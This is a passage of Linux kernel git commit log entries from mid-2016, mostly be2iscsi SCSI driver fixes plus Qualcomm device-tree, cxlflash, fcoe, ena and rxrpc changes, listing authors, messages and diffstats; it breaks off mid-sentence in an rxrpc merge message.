arch/arm64/boot/dts/qcom/msm8916.dtsi | 10 +++++----- arch/arm64/boot/dts/qcom/msm8996.dtsi | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) commit e95c08f45a8ecf9fa2e106f7e8243b7c850bde7f Author: Bjorn Andersson Date: Fri Jul 15 17:42:14 2016 -0700 arm64: dts: qcom: msm8916: Add tcsr syscon The TCSR memory segment includes various functionality, among other things the halt-registers for the Hexagon. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/msm8916.dtsi | 5 +++++ 1 file changed, 5 insertions(+) commit fb3013d3fc984464c34c33aeffe8c0c75bc90723 Author: Bjorn Andersson Date: Fri Jul 15 17:42:13 2016 -0700 arm64: dts: qcom: msm8916: Make scm a reset-controller On msm8916 SCM acts as a controller for the MSS_RESET found in the GCC, update the DT node so that we can address this. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/msm8916.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit d9a3e0c5636feea2f490168d6b5e549d2f39186f Author: Bjorn Andersson Date: Fri Jul 15 17:42:12 2016 -0700 arm64: dts: qcom: msm8916: Add mba memory reserve The modem boot authenticator needs space to play in, this is supposed to be relocatable and as such could later be replaced with a dynamically allocated chunk of memory. But let's give it a reserve for now, as we know that works. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/msm8916.dtsi | 5 +++++ 1 file changed, 5 insertions(+) commit 1fb47e0a9ba4d85e075f059141c250f2b572c04c Author: Bjorn Andersson Date: Fri Jul 15 17:42:11 2016 -0700 arm64: dts: qcom: msm8916: Add smsm and smp2p nodes This patch adds the smsm and smp2p nodes for the hexagon and wcnss cores. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/msm8916.dtsi | 82 +++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) commit 709ab231f8b4417411147dd9730928ba214d5c31 Author: Markus Elfring Date: Sun Aug 21 10:39:04 2016 +0200 scsi: megaraid_sas: Use memdup_user() rather than duplicating its implementation Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Acked by: Sumit Saxena Signed-off-by: Martin K. Petersen drivers/scsi/megaraid/megaraid_sas_base.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 2a1e8447153259922c0d97eb5d35f76c9b41fbb0 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:26 2016 +0530 MAINTAINERS: Update be2iscsi contact info Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen MAINTAINERS | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit fa1a174f52c5b0c205c5a0bb970afe734a97e2e5 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:25 2016 +0530 scsi: be2iscsi: Update the driver version Driver version: 11.2.0.0 Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 60f36e04bb7f580414fff9b6a9e2fe147a190c67 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:24 2016 +0530 scsi: be2iscsi: Update copyright information Change the copyright to: Copyright © xxxx - 2016 Broadcom Update email.ids: @avagotech.com - @broadcom.com Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be.h | 4 ++-- drivers/scsi/be2iscsi/be_cmds.c | 4 ++-- drivers/scsi/be2iscsi/be_cmds.h | 4 ++-- drivers/scsi/be2iscsi/be_iscsi.c | 6 +++--- drivers/scsi/be2iscsi/be_iscsi.h | 6 +++--- drivers/scsi/be2iscsi/be_main.c | 6 +++--- drivers/scsi/be2iscsi/be_main.h | 6 +++--- drivers/scsi/be2iscsi/be_mgmt.c | 6 +++--- drivers/scsi/be2iscsi/be_mgmt.h | 6 +++--- 9 files changed, 24 insertions(+), 24 deletions(-) commit 1b7a7ddceee5559a15c4c93020d7dcd9862babed Author: Jitendra Bhivare Date: Fri Aug 19 15:20:23 2016 +0530 scsi: be2iscsi: Fix queue and connection parameters Current EQ delay is set to 0 to receive very high max interrupt per sec. Set EQ delay to 32 - reducing max interrupt rate from 65K to 20K per sec. Set TCP connection window size to 64K with scale shift count 2. Signed-off-by: Jitendra Bhivare Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 2 +- drivers/scsi/be2iscsi/be_mgmt.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit e1f9d31eb3272b4351239ecb7481f541d9eb76be Author: Jitendra Bhivare Date: Fri Aug 19 15:20:22 2016 +0530 scsi: be2iscsi: Fix bad WRB index error In very rare scenario, connection gets killed after throwing this error: scsi host0: BM_2312 : Event CXN_KILLED_BAD_WRB_INDEX_ERROR[15]... CID : 4 connection1:0: detected conn error (1011) memset ISCSI_WRB descriptor to zero for all allocations of WRB handle. Signed-off-by: Jitendra Bhivare Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 938f372c7d3d2a9a732a1ed7c9a0131ab1ab2e5b Author: Jitendra Bhivare Date: Fri Aug 19 15:20:21 2016 +0530 scsi: be2iscsi: Fix async PDU handling path BUG: unable to handle kernel NULL pointer dereference at 000000000000015e IP: [] hwi_get_async_handle.isra.23.constprop.39+0x90/0x1d0 [be2iscsi] PGD 0 Oops: 0000 [#1] SMP ... Call Trace: [] hwi_process_default_pdu_ring+0x7c/0x280 [be2iscsi] [] beiscsi_process_cq+0x321/0xb90 [be2iscsi] [] ? __wake_up_common+0x58/0x90 [] ? __wake_up+0x44/0x50 [] be_iopoll+0x1d/0xb0 [be2iscsi] [] blk_iopoll_softirq+0xc1/0x100 [] __do_softirq+0xef/0x280 The symptom observed is multiple async handles get queued for same index thus causing leak in buffers posted to FW. The root cause is: - async handle is continued to be used even if it does not match the completion. - list_move operation done on already filled index. 1. Remove use of writables, host_write_ptr and ep_read_ptr. 2. Remove consumed logic to update writables. Instead, use only free_entries to do the accounting of handles to be posted back. 3. Remove busy_list, instead use simple slot to index handles. 4. Added check no data, header less and overflow to make sure all async_handles are flushed in error cases. 5. Added code to verify gathering of handles to form PDU by checking final bit before forwarding PDU. 6. Added code to catch mismatch with CQE and handle gracefully. 7. Use AMAP, traverse cri_wait_queue list to post buffers, log "async PDU" related errors. 8. Rearranged few data structures and added comments in init & processing path. 9. Added WARN_ONs to catch any HD ring corruption. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 842 +++++++++++++++++++--------------------- drivers/scsi/be2iscsi/be_main.h | 124 +++--- 2 files changed, 461 insertions(+), 505 deletions(-) commit 4ee1ec42b33036c785d92744446630e6e242327e Author: Jitendra Bhivare Date: Fri Aug 19 15:20:20 2016 +0530 scsi: be2iscsi: Add FUNCTION_RESET during driver unload Driver unload should call COMMON_FUNCTION_RESET. For TPE feature, this ensures that FW has knowledge about driver getting unloaded and can reset its bit vector. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 2 +- drivers/scsi/be2iscsi/be_cmds.h | 2 ++ drivers/scsi/be2iscsi/be_main.c | 3 +++ 3 files changed, 6 insertions(+), 1 deletion(-) commit 10e1a44ab2bfc850f5ccca5624c68f7c7f8c460c Author: Jitendra Bhivare Date: Fri Aug 19 15:20:19 2016 +0530 scsi: be2iscsi: Fail the sessions immediately after TPE Sessions are no longer valid, so schedule sess_work to fail the sessions immediately when error is detected. This is done to avoid iSCSI transport layer to keep sending NOP-Out which driver any ways fail. Schedule sess_work immediately in case of HBA error. Old sessions are gone for good and need to be re-established. iscsi_session_failure needs process context hence this work. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 24 +++++++++++++++++++++--- drivers/scsi/be2iscsi/be_main.h | 1 + 2 files changed, 22 insertions(+), 3 deletions(-) commit d1d5ca887c0ee60ec6c6e42db0c1073155a09d32 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:18 2016 +0530 scsi: be2iscsi: Add TPE recovery feature After UE is detected, check for recoverable error by reading SLIPORT SEMAPHORE register. If transient parity error i.e. 0xExxx then schedule recovery work on driver wq. FLag this error to prevent any transactions for the duration of ue2rp to restart polling. After that, if FW becomes ready then recover port. Wake up processes in wq before going offline. Wait for process to execute before cleaning up. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 173 ++++++++- drivers/scsi/be2iscsi/be_cmds.h | 4 + drivers/scsi/be2iscsi/be_iscsi.c | 14 +- drivers/scsi/be2iscsi/be_main.c | 739 +++++++++++++++++++++++---------------- drivers/scsi/be2iscsi/be_main.h | 6 +- drivers/scsi/be2iscsi/be_mgmt.c | 128 ------- drivers/scsi/be2iscsi/be_mgmt.h | 1 - 7 files changed, 632 insertions(+), 433 deletions(-) commit f79929deb56e1b8053c36adf7ee8d34b39e673a8 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:17 2016 +0530 scsi: be2iscsi: Add V1 of EPFW cleanup IOCTL mgmt_epfw_cleanup does not implement v1 of OPCODE_COMMON_ISCSI_CLEANUP IOCTL for SkyHawk. Replace use of MCCQ with BMBX for issuing the IOCTL. Remove be_mcc_compl_poll which is no longer needed. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 96 +++++++++++++++++++++-------------------- drivers/scsi/be2iscsi/be_cmds.h | 15 +++++-- drivers/scsi/be2iscsi/be_main.c | 27 ++++++------ drivers/scsi/be2iscsi/be_mgmt.c | 42 ------------------ drivers/scsi/be2iscsi/be_mgmt.h | 1 - 5 files changed, 73 insertions(+), 108 deletions(-) commit 4d2ee1e688a26ee580b9f3e824afa278bbb178a5 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:16 2016 +0530 scsi: be2iscsi: Fix POST check and reset sequence SLIPORT FUNCTION_RESET does not reset the chip. So POST status needs to be checked before issuing FUNCTION_RESET. The completion of FUNCTION_RESET is indicated in BMBX Rdy bit. be_cmd_fw_initialize too needs to be done before issuing any cmd to FW. be_cmd_fw_initialize is renamed as beiscsi_cmd_special_wrb. Rearrange and rename few functions in init and cleanup path. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 250 +++++++++++++++++++--------------------- drivers/scsi/be2iscsi/be_cmds.h | 38 +++--- drivers/scsi/be2iscsi/be_main.c | 64 ++++------ drivers/scsi/be2iscsi/be_main.h | 8 -- 4 files changed, 164 insertions(+), 196 deletions(-) commit 480195c267a4c9f9fcb490897278a41940759b4f Author: Jitendra Bhivare Date: Fri Aug 19 15:20:15 2016 +0530 scsi: be2iscsi: Move functions to right files beiscsi_fail_session is defined in be_cmds.c: move it to be_iscsi.c Move card configuration commands to be_cmds.c. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 274 +++++++++++++++++++++++++++++++++++++-- drivers/scsi/be2iscsi/be_cmds.h | 20 +-- drivers/scsi/be2iscsi/be_iscsi.c | 10 ++ drivers/scsi/be2iscsi/be_iscsi.h | 2 + drivers/scsi/be2iscsi/be_main.c | 6 +- drivers/scsi/be2iscsi/be_mgmt.c | 261 ------------------------------------- drivers/scsi/be2iscsi/be_mgmt.h | 15 +-- 7 files changed, 293 insertions(+), 295 deletions(-) commit 6694095b5a28c54d9fd114997e483cdc47a2e792 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:14 2016 +0530 scsi: be2iscsi: Add IOCTL to check UER supported BE3 and SH cards can recover from transient parity errors treated earlier as unrecoverable errors. Add IOCTL to query FW support for this feature. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 58 +++++++++++++++++++++++++++++++---------- drivers/scsi/be2iscsi/be_cmds.h | 34 ++++++++++++++++++++++++ drivers/scsi/be2iscsi/be_main.c | 1 + drivers/scsi/be2iscsi/be_main.h | 13 ++++++--- drivers/scsi/be2iscsi/be_mgmt.c | 2 +- 5 files changed, 89 insertions(+), 19 deletions(-) commit 10bcd47dff496206de68223aeb1a581bccad03d3 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:13 2016 +0530 scsi: be2iscsi: Fix to add timer for UE detection UE detection in health check is done in a work scheduled in global wq. UE caused due to transient parity errors are recoverable and reported within 1s. If this check for TPE gets delayed, PF0 might initiate soft-reset and then status of UE recoverable is lost. Handle UE detection in timer routine. Move out EQ delay update work from health check. Make the IOCTL for EQ delay update non-blocking as the completion status is ignored. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be.h | 9 +++-- drivers/scsi/be2iscsi/be_cmds.c | 7 ++++ drivers/scsi/be2iscsi/be_cmds.h | 2 +- drivers/scsi/be2iscsi/be_main.c | 90 ++++++++++++++++++++++------------------- drivers/scsi/be2iscsi/be_main.h | 7 +++- drivers/scsi/be2iscsi/be_mgmt.c | 11 +++-- 6 files changed, 75 insertions(+), 51 deletions(-) commit 50a4b824be9e4a01f3b87790865e26b1546fcbb8 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:12 2016 +0530 scsi: be2iscsi: Fix to make boot discovery non-blocking Boot work involves: 1. Find and fetch configured boot session and its handle. 2. Attempt to open the session if its not. 3. Get the session details for boot kset creation. 4. Logout of that session owned by FW. 5. Create boot kset for session details. All these actions were done in blocking call with retries in global wq. Other works in wq suffered if the IOCTLs stalled or timed out. This change moves all the boot work to make it non-blocking. The work queued in global wq just issues the IOCTL depending on the action to be taken and mcc wq schedules work depending on status of the IOCTL. Initial boot_work is started on link and ASYNC event. The other code changes move all boot related functions in one place and follow naming conventions. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be.h | 2 + drivers/scsi/be2iscsi/be_cmds.c | 161 ++++++----- drivers/scsi/be2iscsi/be_cmds.h | 18 +- drivers/scsi/be2iscsi/be_main.c | 608 +++++++++++++++++++--------------------- drivers/scsi/be2iscsi/be_main.h | 33 ++- drivers/scsi/be2iscsi/be_mgmt.c | 537 +++++++++++++++++++---------------- drivers/scsi/be2iscsi/be_mgmt.h | 23 +- 7 files changed, 725 insertions(+), 657 deletions(-) commit 9122e991cebb90a7225109ed7627950f485c5f58 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:11 2016 +0530 scsi: be2iscsi: Fix checks for HBA in error state Save ue_detected and fw_timeout errors in state field of beiscsi_hba. BEISCSI_HBA_RUNNING BEISCSI_HBA_LINK_UP BEISCSI_HBA_BOOT_FOUND BEISCSI_HBA_PCI_ERR BEISCSI_HBA_FW_TIMEOUT BEISCSI_HBA_IN_UE Make sure no PCI transaction happens once in error state. Add checks in IO path to detect HBA in error. Skip hwi_purge_eq step which can't be done in error state. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 28 +++++++----- drivers/scsi/be2iscsi/be_iscsi.c | 81 ++++++++++++++------------------- drivers/scsi/be2iscsi/be_main.c | 97 +++++++++++++++++++++++++++------------- drivers/scsi/be2iscsi/be_main.h | 36 +++++++-------- drivers/scsi/be2iscsi/be_mgmt.c | 5 +-- 5 files changed, 134 insertions(+), 113 deletions(-) commit a30950161954a046421b26fbf55a873ae27b1e25 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:10 2016 +0530 scsi: be2iscsi: Remove isr_lock and dead code todo_mcc_cq is not needed as only MCC work is queued. todo_cq is not used at all. Rename functions to be consistent. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be.h | 2 +- drivers/scsi/be2iscsi/be_main.c | 132 +++++++++++++++------------------------- drivers/scsi/be2iscsi/be_main.h | 2 - 3 files changed, 49 insertions(+), 87 deletions(-) commit 1f5e847acbda0c46f66a7571bd62a9970a248b27 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:09 2016 +0530 scsi: be2iscsi: Remove alloc_mcc_tag & beiscsi_pci_soft_reset alloc_mcc_tag was replaced with alloc_mcc_wrb and is no more used. beiscsi_pci_soft_reset is not used at all and won't be needed. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 76 ----------------------------------------- drivers/scsi/be2iscsi/be_cmds.h | 1 - 2 files changed, 77 deletions(-) commit 290aa376a6669d4cec22d9db5695f0036e218132 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:08 2016 +0530 scsi: be2iscsi: Check all zeroes IP before issuing IOCTL Redefine FW IP types. Before issuing IOCTL to clear IP, check if IP is all zeroes. All zeroes IP implies IP is not set in FW so FW fails that IOCTL. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.h | 8 +++++ drivers/scsi/be2iscsi/be_iscsi.c | 27 ++++++++------- drivers/scsi/be2iscsi/be_iscsi.h | 7 ---- drivers/scsi/be2iscsi/be_main.c | 2 +- drivers/scsi/be2iscsi/be_mgmt.c | 72 +++++++++++++++++++++++++--------------- 5 files changed, 69 insertions(+), 47 deletions(-) commit d8383b34e34ce32251317e15f8af3eda874c8ece Author: Jitendra Bhivare Date: Fri Aug 19 15:20:07 2016 +0530 scsi: be2iscsi: Handle only NET_PARAM in iface_get_param Wrong settings displayed for iface: iface.header_digest = 192.168.197.22 iface.data_digest = 255.255.255.0 iface.immediate_data = 192.168.197.1 Process ISCSI_NET_PARAM only in beiscsi_iface_get_param. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 2 ++ 1 file changed, 2 insertions(+) commit 96b48b9292a234e90e812a063f552e76672135b5 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:06 2016 +0530 scsi: be2iscsi: Rename iface get/set/create/destroy APIs Rename mgmt_get_if_info to be consistent with APIs name. Rename create/destroy APIs to indicate IFACE operations. Remove legacy be2iscsi and use beiscsi. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 42 ++++++++++++++++++++-------------------- drivers/scsi/be2iscsi/be_iscsi.h | 10 +++++----- drivers/scsi/be2iscsi/be_main.c | 10 +++++----- drivers/scsi/be2iscsi/be_mgmt.c | 8 ++++---- drivers/scsi/be2iscsi/be_mgmt.h | 4 ++-- 5 files changed, 37 insertions(+), 37 deletions(-) commit c5bf88897afecf015d9d8599d7ce3e5c3d01a0a7 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:05 2016 +0530 scsi: be2iscsi: Update iface handle before any set param Move mgmt_get_all_if_id before any set param operation. Rename mgmt_get_all_if_id to beiscsi_if_get_handle. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 29 +++++++------- drivers/scsi/be2iscsi/be_main.c | 30 +++------------ drivers/scsi/be2iscsi/be_mgmt.c | 81 ++++++++++++++++++++-------------------- drivers/scsi/be2iscsi/be_mgmt.h | 2 +- 4 files changed, 61 insertions(+), 81 deletions(-) commit db02aea993e8e43d4e9c30bd123027d323b03fd7 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:04 2016 +0530 scsi: be2iscsi: Move VLAN code to common iface_set_param VLAN tag is L2 construct, move VLAN code out from configuring IP. Rearrange and rename the APIs to make it consistent. Replace ENOSYS with EPERM. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 89 ++++++++++++++++++++-------------------- drivers/scsi/be2iscsi/be_mgmt.c | 75 +++++++++++++++++---------------- drivers/scsi/be2iscsi/be_mgmt.h | 2 +- 3 files changed, 84 insertions(+), 82 deletions(-) commit 0152a7e9710c1a7557dacee0318f9475336efd2d Author: Jitendra Bhivare Date: Fri Aug 19 15:20:03 2016 +0530 scsi: be2iscsi: Fix release of DHCP IP in static mode If BOOTPROTO is changed to static, the DHCP IP address should be released. All cases are being handled mgmt_set_ip and mgmt_static_ip_modify. Rearrange IFACE APIs to: beiscsi_if_clr_ip beiscsi_if_set_ip beiscsi_if_en_static beiscsi_if_en_dhcp This simplifies release of DHCP IP when BOOTPROTO is set to static. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 125 ++++++----------- drivers/scsi/be2iscsi/be_mgmt.c | 292 ++++++++++++++++++++------------------- drivers/scsi/be2iscsi/be_mgmt.h | 8 +- 3 files changed, 201 insertions(+), 224 deletions(-) commit 37f216482a72ea8ffc2935b2e7e926ba1241a2dd Author: Jitendra Bhivare Date: Fri Aug 19 15:20:02 2016 +0530 scsi: be2iscsi: Fix gateway APIs to support IPv4 & IPv6 Gateway APIs assume IP type as IPv4. Modify it to be generic to allow clearing of IPv6 gateway set using BIOS. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 4 +- drivers/scsi/be2iscsi/be_mgmt.c | 124 ++++++++++++++++++--------------------- drivers/scsi/be2iscsi/be_mgmt.h | 7 +-- 3 files changed, 62 insertions(+), 73 deletions(-) commit f7dd017e133e3b2d0395156f8d1ed16be732a6a7 Author: Jitendra Bhivare Date: Fri Aug 19 15:20:01 2016 +0530 scsi: be2iscsi: Set and return right iface v4/v6 states ipv4_iface and ipv6_iface fields need to be set to NULL when destroyed. Before creation these are checked. Use these to report correct states. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 31 +++++++++++++++++++++---------- 1 file changed, 21 insertions(+), 10 deletions(-) commit 3c9e36a9d819112f5c5d6c408a5786a8eadb78fa Author: Jitendra Bhivare Date: Fri Aug 19 15:20:00 2016 +0530 scsi: be2iscsi: Reduce driver load/unload time Driver takes significant time to load 1m:20s and unload 40s. Checkpatch script threw warning: WARNING: msleep < 20ms can sleep for up to 20ms; see Documentation/timers/timers-howto.txt To eliminate this warning msleep(1) was replaced with msleep(20) before submitting. msleep(20) in init and uninit path for creation and destroying of number of WRBQs, CQs, and EQs is adding to load/unload time. Replace msleep with schedule_timeout_uninterruptible of 1ms as its enough in most cases. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 96eb8d4df5c024028c6bea0a3eecdffe988ec71d Author: Jitendra Bhivare Date: Fri Aug 19 15:19:59 2016 +0530 scsi: be2iscsi: Replace _bh version for mcc_lock spinlock This got unnecessarily introduced with other changes in previous commits. mcc_lock is taken only in process contexts. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_cmds.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit ea89604f3d8dc49e9b28020bd25880aabd84c6cd Author: Jitendra Bhivare Date: Fri Aug 19 15:19:58 2016 +0530 scsi: be2iscsi: Fix to use correct configuration values Following configuration is created with what driver exports: iface.vlan_id = 65535 iface.vlan_priority = 255 iface.vlan_state = vlan_state is empty as iscsiadm doesn't process "Disabled". When applying this configuration, iscsiadm checks for if vlan_state is "disable" if not it enables with value in vlan_id. 65535 not being valid value, 0 is applied. Use "enable" or "disable" for ISCSI_NET_PARAM. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_iscsi.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0b924e5505a568e7a70e07b529a02ed12295ff7c Author: Johannes Thumshirn Date: Fri Aug 19 15:33:37 2016 +0200 scsi: fcoe: provide translation table between Ethernet and FC port speeds Provide a translation table between Ethernet and FC port speeds so odd speeds (from a Ethernet POV) like 8 Gbit are correctly mapped to sysfs and open-fcoe's fcoeadm. Before: Description: BCM57840 NetXtreme II 10/20-Gigabit Ethernet Revision: 11 Manufacturer: Broadcom Corporation Serial Number: 6CC2173EA1D0 Driver: bnx2x 1.712.30-0 Number of Ports: 1 Symbolic Name: bnx2fc (QLogic BCM57840) v2.10.3 over eth2 OS Device Name: host1 Node Name: 0x20006cc2173ea1d1 Port Name: 0x10006cc2173ea1d1 FabricName: 0x100000c0dd0ce717 Speed: unknown Supported Speed: 1 Gbit, 10 Gbit MaxFrameSize: 2048 bytes FC-ID (Port ID): 0x660702 State: Online After: Description: BCM57840 NetXtreme II 10/20-Gigabit Ethernet Revision: 11 Manufacturer: Broadcom Corporation Serial Number: 6CC2173EA1D0 Driver: bnx2x 1.712.30-0 Number of Ports: 1 Symbolic Name: bnx2fc (QLogic BCM57840) v2.10.3 over eth2 OS Device Name: host1 Node Name: 0x20006cc2173ea1d1 Port Name: 0x10006cc2173ea1d1 FabricName: 0x100000c0dd0ce717 Speed: 8 Gbit Supported Speed: 1 Gbit, 10 Gbit MaxFrameSize: 2048 bytes FC-ID (Port ID): 0x660701 State: Online Signed-off-by: Johannes Thumshirn Reviewed-by: Hannes Reinicke Reviewed-by: Lee Duncan Signed-off-by: Martin K. Petersen drivers/scsi/fcoe/fcoe_transport.c | 53 ++++++++++++++++++++++++++------------ 1 file changed, 36 insertions(+), 17 deletions(-) commit 9442c9b0ed5c6f3a86dce0d6f714ef43f7f6cd53 Author: Matthew R. Ochs Date: Tue Aug 9 18:40:13 2016 -0500 scsi: cxlflash: Update documentation Update the block library link in the API documentation. Signed-off-by: Matthew R. Ochs Acked-by: Manoj N. Kumar Signed-off-by: Martin K. Petersen Documentation/powerpc/cxlflash.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit de9f0b0cbb86da288a2d38e35f2953a85608a6aa Author: Matthew R. Ochs Date: Tue Aug 9 18:40:02 2016 -0500 scsi: cxlflash: Remove adapter file descriptor cache The adapter file descriptor was previously cached within the kernel for a given context in order to support performing a close on behalf of an application. This is no longer needed as applications are now required to perform a close on the adapter file descriptor. Inspired-by: Al Viro Signed-off-by: Matthew R. Ochs Acked-by: Manoj N. Kumar Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/superpipe.c | 26 +++++++++++++------------- drivers/scsi/cxlflash/superpipe.h | 1 - 2 files changed, 13 insertions(+), 14 deletions(-) commit cd34af40a09c678abad36304eb68e1774640e908 Author: Matthew R. Ochs Date: Tue Aug 9 18:39:52 2016 -0500 scsi: cxlflash: Transition to application close model Caching the adapter file descriptor and performing a close on behalf of an application is a poor design. This is due to the fact that once a file descriptor in installed, it is free to be altered without the knowledge of the cxlflash driver. This can lead to inconsistencies between the application and kernel. Furthermore, the nature of the former design is more exploitable and thus should be abandoned. To support applications performing a close on the adapter file that is associated with a context, a new flag is introduced to the user API to indicate to applications that they are responsible for the close following the cleanup (detach) of a context. The documentation is also updated to reflect this change in behavior. Inspired-by: Al Viro Signed-off-by: Matthew R. Ochs Acked-by: Manoj N. Kumar Signed-off-by: Martin K. Petersen Documentation/powerpc/cxlflash.txt | 42 +++++++++++++++++++--- drivers/scsi/cxlflash/superpipe.c | 71 ++++++++++---------------------------- drivers/scsi/cxlflash/vlun.c | 13 ++----- include/uapi/scsi/cxlflash_ioctl.h | 19 +++++++--- 4 files changed, 73 insertions(+), 72 deletions(-) commit 184b49c89f39f5c5ad262a6456248284e10984c6 Author: Rami Rosen Date: Tue Aug 23 20:20:17 2016 +0300 net: ena: change the return type of ena_set_push_mode() to be void. This patch changes the return type of ena_set_push_mode() to be void, as it always returns 0. Signed-off-by: Rami Rosen Signed-off-by: David S. Miller drivers/net/ethernet/amazon/ena/ena_netdev.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit 85d2c92051f3e0e994fde220863cf54c08c48793 Merge: 3a69101 18bfeba Author: David S. Miller Date: Tue Aug 23 17:20:59 2016 -0700 Merge tag 'rxrpc-rewrite-20160823-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Miscellaneous improvements Here are some improvements that are part of the AF_RXRPC rewrite. They need to be applied on top of the just posted cleanups. (1) Set the connection expiry on the connection becoming idle when its last currently active call completes rather than each time put is called. This means that the connection isn't held open by retransmissions, pings and duplicate packets. Future patches will limit the number of live connections that the kernel will support, so making sure that old connections don't overstay their welcome is necessary. (2) Calculate packet serial skew in the UDP data_ready callback rather than in the call processor on a work queue. Deferring it like this causes the skew to be elevated by further packets coming in before we get to make the calculation. (3) Move retransmission of the terminal ACK or ABORT packet for a connection to the connection processor, using the terminal state cached in the rxrpc_connection struct. This means that once last_call is 